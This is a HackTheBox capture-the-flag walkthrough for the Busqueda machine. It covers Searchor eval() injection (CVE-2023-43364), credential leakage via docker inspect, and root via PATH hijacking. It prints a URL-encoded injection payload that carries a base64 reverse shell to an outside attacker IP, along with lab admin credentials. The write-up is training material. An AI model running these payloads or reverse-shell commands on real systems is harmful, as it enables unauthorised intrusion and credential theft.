Busqueda writeup & walkthrough

Busqueda is an easy HackTheBox Linux machine running Searchor, a Python web app vulnerable to SSTI via eval() injection (CVE-2023-43364). Post-exploitation leverages a sudo Python script to docker-inspect a running container and leak Gitea admin credentials. A PATH hijacking vulnerability in the same script grants root.

HackTheBox - Busqueda

Access Path

no access => svc => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sC -sV <ip>
# Open: 22 SSH, 80 HTTP (Searchor 2.4.0)

# ─── Initial Exploitation: SSTI via Python eval (CVE-2023-43364) ─────────────

# Searchor uses eval() unsafely on the search query - inject Python code
# Base64 payload decodes to: bash -i >& /dev/tcp/10.10.14.17/4444 0>&1
query=Strikoder')%2b'Amin'%2b__import__('os').system('echo%20-n%20YmFzaCAgLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTcvNDQ0NCAwPiYxJyAg|%20base64%20-d%20|%20bash')%20%23

# ─── Foothold ──────────────────────────────────────────────────────────────────

# Generate and add an SSH key for persistent shell access
make ssh key

# Internal Gitea runs on port 3000 - port-forward to reach it via browser
ssh -L 80:localhost:3000

# Leak Gitea credentials stored in the app's git config
cat /var/www/app/.git/config

# ─── Privilege Escalation: Docker Inspect → PATH Hijacking ─────────────────────

# Regular Gitea user shows nothing interesting - check sudo rights first
# Credentials from .git/config work for sudo
we put the pass in sudo -l

# sudo allows running system-checkup.py as root - use docker-inspect to dump container env vars
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{.Config}}' mysql_db

# Admin credentials found in MySQL container config → log in to Gitea as administrator:
# administrator:jI86kGUuj87guWr3RyF
we use in gitea
administrator:jI86kGUuj87guWr3RyF

# Read system-checkup.py source in Gitea - full_checkup is called without an absolute path
# Create a malicious ./full_checkup script in /tmp and add /tmp to PATH before running sudo
we check the code and see that ./full_checkup not full path =>
we write script revshell and get root